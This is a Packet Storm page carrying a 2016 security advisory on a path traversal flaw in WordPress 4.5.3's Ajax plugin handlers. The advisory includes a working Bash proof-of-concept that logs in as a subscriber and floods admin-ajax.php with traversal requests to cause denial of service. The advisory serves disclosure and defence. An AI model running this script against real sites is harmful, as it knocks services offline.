Twenty Year Anniversary

WordPress 4.5.3 Core Ajax Handlers Path Traversal

WordPress 4.5.3 Core Ajax Handlers Path Traversal
Posted Aug 22, 2016
Authored by Yorick Koster, Securify B.V.

WordPress version 4.5.3 suffers from a path traversal vulnerability in the core ajax handlers.

tags | exploit, file inclusion
MD5 | 86202315200d9f97b0bc453c74dc5b93

WordPress 4.5.3 Core Ajax Handlers Path Traversal

Change Mirror Download
------------------------------------------------------------------------
Path traversal vulnerability in WordPress Core Ajax handlers
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A path traversal vulnerability was found in the Core Ajax handlers of
the WordPress Admin API. This issue can (potentially) be used by an
authenticated user (Subscriber) to create a denial of service condition
of an affected WordPress site.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0036

------------------------------------------------------------------------
See also
------------------------------------------------------------------------
#37490 - Improve capability checks in wp_ajax_update_plugin() and
wp_ajax_delete_plugin()

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the WordPress version 4.5.3.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
WordPress version 4.6 mitigates this vulnerability by moving the CSRF
check to the top of the affected method(s).

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html

Proof of concept

The following Bash script can be used to trigger the denial of service condition.

#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)

# login
curl --cookie-jar "$cookiejar" \
--data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
"$target/wp-login.php" \
>/dev/null 2>&1

# exhaust apache
for i in `seq 1 1000`
do
curl --cookie "$cookiejar" \
--data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
"$target/wp-admin/admin-ajax.php" \
>/dev/null 2>&1 &
done

rm "$cookiejar"

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    14 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close